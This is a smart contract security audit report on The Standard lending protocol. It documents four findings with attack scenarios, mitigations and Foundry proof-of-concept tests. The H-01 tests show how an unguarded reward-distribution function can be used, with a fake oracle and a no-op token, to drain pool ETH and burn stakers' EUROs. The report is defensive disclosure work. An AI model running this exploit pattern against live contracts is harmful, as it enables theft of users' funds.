// SECURITY AUDIT REPORT

# The Standard

Smart Contract Security Assessment · v1.0

| AUDITOR | DATE | PLATFORM | VERSION |
| --- | --- | --- | --- |
| Putfor | April 2026 | CodeHawks | v1.0 |

## 01 PROTOCOL SUMMARY

The Standard is a decentralized collateralized debt protocol deployed on Arbitrum that allows users to deposit ETH and whitelisted ERC-20 tokens as collateral and borrow EUROs — a Euro-pegged stablecoin — against it. Each user position is represented by an NFT-based Smart Vault (`SmartVaultV3.sol`), minted and managed through the central `SmartVaultManagerV5.sol` contract. Vaults track collateral health via Chainlink price feeds and can be liquidated when the collateral ratio falls below the protocol-defined threshold.
Liquidation proceeds are distributed to stakers through a two-contract system: `LiquidationPoolManager.sol` orchestrates vault liquidations and forwards seized collateral to `LiquidationPool.sol`, where participants stake TST and EUROs to earn a proportional share of liquidation rewards. Staking operates with a 24-hour pending deposit delay before funds are consolidated into active positions. Vaults additionally expose a Uniswap V3-backed `swap` function, allowing users to rebalance their collateral composition without leaving the protocol.

> *This audit report is provided for informational purposes only. I am an independent security researcher, and this engagement represents a best-effort review of the in-scope code. While I strive to identify as many vulnerabilities as possible, this report does not constitute a guarantee that the protocol is free of bugs, vulnerabilities, or other issues. The findings reflect the state of the code at the commit hash listed in Audit Details and may not account for changes introduced after the review period.*

## 02 RISK CLASSIFICATION

All findings are classified using the CodeHawks severity matrix.
**Likelihood** measures how probable exploitation is under realistic conditions.
**Impact** measures the potential damage to the protocol, its users, or its funds if the vulnerability is successfully exploited.

| Likelihood / Impact | High | Medium | Low |
|---|---|---|---|
| High | High | High | Medium |
| Medium | High | Medium | Low |
| Low | Medium | Low | Low |

03 AUDIT DETAILS

**Commit Hash:** `57a7add22cf9b320de21cf3637ff009110d4eab8`

## Scope

```
contracts/
├── SmartVaultV3 # 199 nSLOC
├── SmartVaultManagerV5 # 120 nSLOC
├── LiquidationPool # 214 nSLOC
└── LiquidationPoolManager # 76 nSLOC
```

## Compatibilities

| SOLIDITY | CHAINS |
|---|---|
| 0.8.17 | Arbitrum |
| **TOKENS** | **TIMELINE** |
| ETH, WBTC, ARB, LINK, PAXG | March 29 - April 1, 2026 |

## Roles

| ROLE | DESCRIPTION |
|---|---|
| Borrowers | Users creating Smart Vaults, depositing their collateral, borrowing EUROs stablecoins against it |
| Smart Vault Manager | Contract managing vault deployments, controls admin data which dictates behaviour of Smart Vaults e.g. fee rates, collateral rates, dependency addresses, managed by The Standard |
| Stakers | Users adding TST and/or EUROs to the Liquidation Pool, in order to gain rewards from borrowing fees and vault liquidations |
| Liquidation Pool Manager | Contract managing liquidations and distribution of borrowing fees in the pool |

## Tools Used

Manual review · Foundry (testing & PoC) · Slither · Aderyn

04 EXECUTIVE SUMMARY

## Methodology

The audit began with a full read-through of all in-scope contracts to understand the intended protocol behavior before searching for deviations. The primary focus areas were identified as: the liquidation reward distribution flow, the staking lifecycle in `LiquidationPool`, access control boundaries between the Manager and Pool contracts, and the collateral accounting invariants inside Smart Vaults.

Static analysis with Aderyn was run first to surface structural issues. All flagged outputs were manually triaged. Manual analysis then traced every external call path originating from `LiquidationPoolManager.runLiquidation()`, mapped trust boundaries between the Manager and Pool layers, and examined the interaction between the 24-hour pending stake delay and the `holders[]` array maintenance logic.

Two exploitable findings were validated with Foundry proof-of-concept tests — H-01 and M-02 — each covering multiple attack vectors. The H-01 PoC demonstrates both a direct pool drain via fake oracle and ERC-20, and a mass EUROs burn via an absurd `_collateralRate`. The M-02 PoC reproduces the ghost holder state desynchronization and proves that a staker with an active consolidated position receives zero liquidation rewards.

## Findings Overview

| SEVERITY | COUNT |
|---|---|
| High | 1 |
| Medium | 2 |
| Low | 1 |

## 05 FINDINGS

**H-01 · HIGH**

Missing access control on `distributeAssets` allows an attacker to enter the function with critical input data, distributing rewards in an extremely unfavorable manner

CONTRACT `LiquidationPool.sol` ROOT CAUSE `Missing Access Control`

**M-01 · MED**

Setting `deadline: block.timestamp` in the `swap` function makes this parameter useless and puts the user at a disadvantage

CONTRACT `SmartVaultV3.sol` ROOT CAUSE `Zero Deadline Window`

**M-02 · MED**

Incorrect implementation of the `empty` function creates conditions under which a user who has deposited tokens for staking will not receive their deserved rewards

CONTRACT `LiquidationPool.sol` ROOT CAUSE `State Desynchronization`

**L-01 · LOW**

The `SmartVaultManagerV5.sol` contract has a `tokenManager` variable that is never used

CONTRACT `SmartVaultManagerV5.sol` ROOT CAUSE `Useless State`

H-01 · HIGH

## Missing access control on `distributeAssets` allows an attacker to enter the function with critical input data, distributing rewards in an extremely unfavorable manner

| | |
|---|---|
| SEVERITY | High |
| ROOT CAUSE | Missing Access Control |
| CONTRACT | LiquidationPool.sol |
| FUNCTION | distributeAssets(struct[],uint256,uint256) |
| LINES | L205–L241 |

### Vulnerability Details

The `LiquidationPool.sol` contract provides functionality that allows distributing rewards among the protocol's stakers:

SOLIDITY LiquidationPool.sol

```solidity
@>  function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
        consolidatePendingStakes();
        (,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
        uint256 stakeTotal = getStakeTotal();
        uint256 burnEuros;
        uint256 nativePurchased;
        for (uint256 j = 0; j < holders.length; j++) {
            Position memory _position = positions[holders[j]];
            uint256 _positionStake = stake(_position);
            if (_positionStake > 0) {
                for (uint256 i = 0; i < _assets.length; i++) {
```

```
                    ILiquidationPoolManager.Asset memory asset = _assets[i];
                    if (asset.amount > 0) {
                        (,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
                        uint256 _portion = asset.amount * _positionStake / stakeTotal;
                        uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
                            * _hundredPC / _collateralRate;
                        if (costInEuros > _position.EUROs) {
                            _portion = _portion * _position.EUROs / costInEuros;
                            costInEuros = _position.EUROs;
                        }
                        _position.EUROs -= costInEuros;
                        rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
                        burnEuros += costInEuros;
                        if (asset.token.addr == address(0)) {
                            nativePurchased += _portion;
                        } else {
                            IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
                        }
                    }
                }
            }
            positions[holders[j]] = _position;
        }
        if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
        returnUnpurchasedNative(_assets, nativePurchased);
    }
```

The function has the `external` and `payable` modifiers. There are no other modifiers — in particular, those that would be responsible for access control. Inside the function body there is also no filter by which the incoming addresses would be validated. As a result, any user, even one who is not a participant of the protocol ecosystem, can call `distributeAssets` with any input parameters.

## Attack Scenario

1. Bob makes a deposit into staking: `increasePosition(1e18, 1e18)` — 0.02% of the total stake
2. 5 ETH from previous liquidations accumulates in the pool
3. Bob deploys two helper contracts: *`FakeOracle` — always returns price 0* `FakeToken` — `transferFrom()` always returns `true` without moving tokens
4. Bob calls `distributeAssets()` directly, passing a crafted `Asset` array: *`token.addr = address(FakeToken)` — bypasses the `native ETH` branch, but `safeTransferFrom` becomes a no-op* `token.clAddr = address(FakeOracle)` — asset price = 0, meaning `costInEuros = 0` : not a single EUROs is charged from Bob
5. `amount` is artificially inflated so that `portion = amount * bobStake / stakeTotal` equals the entire pool balance in ETH
6. An amount equal to 5 ETH settles in the `rewards[bob][ETH]` mapping
7. Bob calls `claimRewards()` — the pool pays him 5 real ETH

## Likelihood

**High.** Exploiting the vulnerability requires no prior preparation, special access rights, or a specific moment in time. The attacker can be anyone, at any time. Likelihood is High.

## Impact

**High.** Successful exploitation of the vulnerability can both **disrupt the economy** of the protocol by minimizing staker rewards, and **completely drain** the protocol. Impact is High.

| LIKELIHOOD | IMPACT | OVERALL |
|---|---|---|
| **High** | **High** | **High** |
| The attacker can be anyone, at any time. | Exploitation of the vulnerability can completely drain the protocol. | High × High. |

## Proof of Concept

The full version of my Proof of Code for this vulnerability can be found on my GitHub. Below is a PoC fragment that demonstrates the test functions showcasing the vulnerability:

SOLIDITY Proof of Code

```solidity
    function test_exploit_H01_fake_assets() public {
        deal(address(pool), POOL_ETH);

        // Inflate amount so attacker's portion == entire pool balance:
        //   portion = amount * attackerStake / stakeTotal  =>  amount = POOL_ETH * STAKE_TOTAL / ATTKR_STAKE
        uint256 malAmount = (POOL_ETH * STAKE_TOTAL) / ATTKR_STAKE;

        ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](1);
        assets[0] = ILiquidationPoolManager.Asset(
            ITokenManager.Token({
                symbol: bytes32("ETH"), // matches real symbol => claimRewards() pays real ETH
                addr: address(fakeToken), // not address(0) => safeTransferFrom path (no-op)
                dec: 18,
                clAddr: address(fakeOracle), // price=0 => costInEuros=0 => no EUROs spent
                clDec: 8
            }),
            malAmount
        );

        uint256 before = attacker.balance;

        vm.startPrank(attacker);
        pool.claimRewards(); // clear any prior reward dust
        pool.distributeAssets(assets, 1, 100_000); // direct call — no onlyManager guard
        pool.claimRewards(); // collect ~5 ETH
        vm.stopPrank();

        assertGt(attacker.balance, before, "attacker must profit");
        assertLt(address(pool).balance, POOL_ETH / 10, "pool must be nearly drained");
```

```
    }

    function test_exploit_H01_zero_cost_drain() public {
        deal(address(pool), POOL_ETH);
        uint256 eurosBefore = EUROs.balanceOf(address(pool));

        // amount = STAKE_TOTAL so portion_i = stake_i for every holder (non-zero for all).
        // _collateralRate = 1 inflates costInEuros by 120 000×, guaranteeing
        // costInEuros >> position.EUROs for every staker.
        ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](1);
        assets[0] = ILiquidationPoolManager.Asset(
            ITokenManager.Token({
                symbol: bytes32("ETH"),
                addr: address(fakeToken), // no-op transferFrom
                dec: 18,
                clAddr: address(clEthUsd), // real price ($2 000) — no fake oracle needed
                clDec: 8
            }),
            STAKE_TOTAL
        );

        vm.prank(attacker);
        pool.distributeAssets(assets, 1 /*collateralRate*/, 100_000 /*hundredPC*/);

        (LiquidationPool.Position memory u1, , ) = _pos(user1);
        (LiquidationPool.Position memory vic, , ) = _pos(victim);
        (LiquidationPool.Position memory atk, , ) = _pos(attacker);

        // All 5 001 EUROs burned; stakers received ~27 500 gwei of FakeToken total.
        assertEq(EUROs.balanceOf(address(pool)), 0, "all pool EUROs must be burned");
        assertEq(u1.EUROs, 0, "user1 EUROs position must be 0");
        assertEq(vic.EUROs, 0, "victim EUROs position must be 0");
        assertEq(atk.EUROs, 0, "attacker EUROs position must be 0");
        // ETH balance unchanged — FakeToken assets do not touch the native balance.
        assertEq(address(pool).balance, POOL_ETH, "pool ETH must be unchanged");

```

```
        // Invariant broken: 5 001 EUROs destroyed, zero real collateral distributed.
        assertGt(eurosBefore, 0);
    }
```

Test run:

```bash
forge test --match-contract PoC_H01
```

Output:

```bash
Ran 2 tests for test/PoC_H01.t.sol:PoC_H01
[PASS] test_exploit_H01_fake_assets() (gas: 193447)
[PASS] test_exploit_H01_zero_cost_drain() (gas: 271719)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.05ms (977.17µs CPU time)

Ran 1 test suite in 11.40ms (3.05ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
```

Thus we have proven that the protocol contains a vulnerability whereby an attacker can set critical parameters during reward distribution at their own discretion, completely breaking the protocol's functionality.

## Recommended Mitigation

It is recommended to establish access control on `distributeAssets` by adding the `onlyManager` modifier

```diff
-  function distributeAssets(/*input data*/) external payable {...}

+  function distributeAssets(/*input data*/) external payable onlyManager {...}
```

M-01 · MEDIUM

## Setting `deadline: block.timestamp` in the `swap` function makes this parameter useless and puts the user at a disadvantage

| | |
|---|---|
| SEVERITY | Medium |
| ROOT CAUSE | Zero Deadline Window |
| CONTRACT | SmartVaultV3.sol |
| FUNCTION | swap(bytes32,bytes32,uint256) |
| LINES | L214–L231 |

### Vulnerability Details

In the `SmartVaultV3.sol` contract, a user has the ability to swap their collateral token for another token using the `swap` function:

SOLIDITY SmartVaultV3.sol

```solidity
214     function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
215         uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
216         address inToken = getSwapAddressFor(_inToken);
217         uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
218         ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
219                 tokenIn: inToken,
220                 tokenOut: getSwapAddressFor(_outToken),
221                 fee: 3000,
222                 recipient: address(this),
223 @>              deadline: block.timestamp,
224                 amountIn: _amount - swapFee,
```

```
                    amountOutMinimum: minimumAmountOut,
                    sqrtPriceLimitX96: 0
                });
            inToken == ISmartVaultManagerV3(manager).weth() ?
                executeNativeSwapAndFee(params, swapFee) :
                executeERC20SwapAndFee(params, swapFee);
        }
```

However, the `deadline` parameter of this function is set to `block.timestamp`, which means the swap can be executed at any time, possibly at the most unfavorable rate, or the transaction may be stuck indefinitely.

### Scenario

1. Alice submits a swap transaction
2. A malicious validator does not include the transaction in the blockchain.
3. Alice's swap transaction reverts, wasting gas with no result.

### Likelihood

**High.** The bug can be exploited on every swap attempt. All SmartVaultV3 owners are susceptible to this bug. Likelihood is High.

### Impact

**Medium.** The user may spend gas on a reverted swap, or execute the swap at the most unfavorable rate. Impact is Medium.

| LIKELIHOOD | IMPACT | OVERALL |
|---|---|---|
| **High** | **Medium** | **Medium** |
| The bug can be exploited on every swap attempt. | The user may execute the swap at the most unfavorable rate. | High × Medium. |

## Recommended Mitigation

It is recommended to add an input parameter to the `swap` function, allowing the user to specify the desired `deadline`.

DIFF

```diff
-   function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
+   function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount, uint256 _deadline) external onlyOwner {
        ...
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
                fee: 3000,
                recipient: address(this),
-               deadline: block.timestamp,
+               deadline: _deadline,
                amountIn: _amount - swapFee,
                amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
...}
```

M-02 · MEDIUM

## Incorrect implementation of the `empty` function creates conditions under which a user who has deposited tokens for staking will not receive their deserved rewards

| | |
|---|---|
| SEVERITY | Medium |
| ROOT CAUSE | State Desynchronization |
| CONTRACT | LiquidationPool.sol |
| FUNCTION | empty(struct) |
| LINES | L92–L94 |

### Vulnerability Details

The `LiquidationPool.sol` contract has staking functionality. This functionality implies a 24-hour deposit delay. At the same time, there is a function for withdrawing one's deposit, inside which a function call is embedded that reads the user's position to check for a complete balance reset, in order to subsequently remove the user from `holders[]`:

SOLIDITY LiquidationPool.sol

```solidity
    function decreasePosition(uint256 _tstVal, uint256 _eurosVal) external {
        consolidatePendingStakes();
        ILiquidationPoolManager(manager).distributeFees();
        require(_tstVal <= positions[msg.sender].TST && _eurosVal <= positions[msg.sender].EUROs, "invalid-decr-amount");
        if (_tstVal > 0) {
            IERC20(TST).safeTransfer(msg.sender, _tstVal);
            positions[msg.sender].TST -= _tstVal;
        }
        if (_eurosVal > 0) {
```

```
            IERC20(EUROs).safeTransfer(msg.sender, _eurosVal);
            positions[msg.sender].EUROs -= _eurosVal;
        }
@>      if (empty(positions[msg.sender])) deletePosition(positions[msg.sender]);
    }
```

SOLIDITY LiquidationPool.sol

```
    function empty(Position memory _position) private pure returns (bool) {
        return _position.TST == 0 && _position.EUROs == 0;
    }
```

The combination of the 24-hour deposit delay and removal from `holders[]` creates a scenario in which a user who has tokens staked does not receive rewards.

## Scenario

1. Bob deposits tokens into staking for the first time. For example, `increasePosition(100, 100)`
2. The protocol adds Bob to `holders[]`
3. After 24 hours the tokens are credited to the stake. Bob's position: 100 TST, 100 EUROs
4. Bob makes a second deposit. For example, `increasePosition(100,000, 100,000)`
5. Adding Bob to `holders[]` is ignored, since he is already there
6. Bob withdraws his first deposit. `decreasePosition(100, 100)`
7. Since 24 hours have not yet passed, the second deposit has not been credited yet
8. According to the protocol's calculations, Bob has just withdrawn his entire position
9. `empty` returns `true`
10. The protocol removes Bob from `holders[]`
11. After 24 hours Bob's position amounts to 100,000 TST and 100,000 EUROs. However, this does not cause Bob to reappear in `holders[]`
12. The protocol begins reward distribution, which involves iterating over the `holders[]` array
13. Bob does not receive rewards due to the absence of his address in `holders[]`

## Likelihood

**Medium.** The bug does not require deep technical knowledge from the user, and reproducing the `Scenario` is not difficult — it is simply a sequence of actions that anyone can perform. Despite this, such a scenario is not typical user behavior and its reproduction frequency will be low. Likelihood is Medium.

## Impact

**Medium.** The protocol does not lose all its funds, its functionality is not completely broken. However, a user who has reproduced the `Scenario` may not even realize that they are not receiving rewards for their stake. Impact is Medium.

| LIKELIHOOD | IMPACT | OVERALL |
|---|---|---|
| **Medium** | **Medium** | **Medium** |
| The scenario is not typical user behavior. | A user's not receiving rewards for their stake. | Medium × Medium. |

## Proof of Concept

The full version of my Proof of Code for this vulnerability can be found on my GitHub. Below is a PoC fragment that demonstrates the test function showcasing the vulnerability:

SOLIDITY — Proof of Code

```solidity
    function test_M02_ghost_holder() public {
        // ── Step 1-2: Alice creates a pending stake then empties her consolidated position ──

        vm.startPrank(alice);
        TST.approve(address(pool), ALICE_EXTRA);
        EUROs.approve(address(pool), ALICE_EXTRA);
        pool.increasePosition(ALICE_EXTRA, ALICE_EXTRA); // pending stake added, Alice still in holders[]
        pool.decreasePosition(ALICE_STAKE, ALICE_STAKE); // positions[alice]=(0,0) → empty() → deleteHolder(alice)
        vm.stopPrank();
        // State: holders=[bob], pendingStakes=[{alice, now, 100, 100}]
```

```

        // ── Step 3: Advance time — Alice's pending stake is now eligible for consolidation ──

        vm.warp(block.timestamp + 1 days + 1);

        // ── Step 4: Simulate a liquidation via poolManager ──

        ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](1);
        assets[0] = ILiquidationPoolManager.Asset(
            ITokenManager.Token({
                symbol: bytes32("ETH"),
                addr: address(0), // native ETH
                dec: 18,
                clAddr: address(clEthUsd),
                clDec: 8
            }),
            LIQUIDATION_ETH
        );

        // Call as the legitimate manager (isolates M-02 from H-01 access-control issue).
        // Inside distributeAssets():
        //   consolidatePendingStakes() → positions[alice]=(100,100) but holders[] unchanged
        //   loop over holders=[bob] → bob gets everything, alice is never visited
        vm.deal(address(poolManager), LIQUIDATION_ETH);
        vm.prank(address(poolManager));
        pool.distributeAssets{value: LIQUIDATION_ETH}(assets, 120_000, 100_000);

        // Alice's pending stake was consolidated — she has an active position
        (
            LiquidationPool.Position memory alicePos,
            LiquidationPool.Reward[] memory aliceRewards
        ) = pool.position(alice);

        (, LiquidationPool.Reward[] memory bobRewards) = pool.position(bob);

        console.log("Alice TST position (consolidated from pending):", alicePos.TST / 1e18);
        console.log("Alice ETH reward  :", aliceRewards[0].amount);
        console.log("Bob   ETH reward  :", bobRewards[0].amount);

```

```
        // Alice has an active, consolidated stake — she is NOT a zero-balance ghost
        assertEq(alicePos.TST, ALICE_EXTRA, "Alice has active TST position after consolidation");

        // Despite an active position, Alice receives zero liquidation rewards
        assertEq(aliceRewards[0].amount, 0, "Alice must receive zero rewards (ghost holder bug)");

        // Bob receives 100% of the distributed ETH; his fair share was ~90.9%
        // (1000 / (1000+100) ≈ 90.9%); the delta is Alice's stolen portion
        assertEq(
            bobRewards[0].amount,
            LIQUIDATION_ETH,
            "Bob receives 100% of rewards instead of his proportional share"
        );
    }
```

Test run:

```bash
forge test --match-contract PoC_M02
```

Output:

```bash
Ran 1 test for test/PoC_M02.t.sol:PoC_M02
[PASS] test_M02_ghost_holder() (gas: 361411)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.46ms (901.51µs CPU time)

Ran 1 test suite in 15.44ms (3.46ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Thus we have proven that the protocol contains a vulnerability whereby a user may not receive their deserved rewards.

## Recommended Mitigation

One way to fix this bug is to extend the functionality of the `empty` function so that it also iterates over the `pendingStakes[]` array:

DIFF

```diff
-    function empty(Position memory _position) private pure returns (bool) {
-        return _position.TST == 0 && _position.EUROs == 0;

+    function empty(Position memory _position) private view returns (bool) { // <= View. Not pure.
+        if (_position.TST != 0 || _position.EUROs != 0) return false;
+        for (uint256 i = 0; i < pendingStakes.length; i++) {
+            if (pendingStakes[i].holder == _position.holder) return false;
+        }
+        return true;
     }
```

L-01 · LOW

## The `SmartVaultManagerV5.sol` contract has a `tokenManager` variable that is never used

| | |
|---|---|
| SEVERITY | Low |
| ROOT CAUSE | Useless State |
| CONTRACT | SmartVaultManagerV5.sol |
| VARIABLE | address tokenManager |
| LINES | L25 |

### Details

The `SmartVaultManagerV5.sol` contract declares the variable `tokenManager` :

SOLIDITY SmartVaultManagerV5.sol

```solidity
25  address public tokenManager;
```

However, when attempting to find references to this variable in the contract, only one mention is returned — the moment of the variable's declaration.

### Likelihood

**Low.** The variable is not used anywhere in the code. Likelihood is Low.

### Impact

**Low.** Since `tokenManager` is not used anywhere, it has no impact whatsoever, except on code cleanliness and quality. Impact is Low.

| LIKELIHOOD | IMPACT | OVERALL |
| --- | --- | --- |
| **Low** | **Low** | **Low** |
| The variable just exist. | Code quality. | Low × Low. |

## Proof of Concept

All references to the variable in the contract can be checked with the following command:

```bash
grep -n "tokenManager" contracts/SmartVaultManagerV5.sol
```

Output:

```bash
25:    address public tokenManager;
```

Thus it is proven that the `tokenManager` variable is not used in the contract.

## Recommended Mitigation

Remove the unused variable

```diff
-    address public tokenManager;
```

Or **implement the logic** that was originally intended for this variable.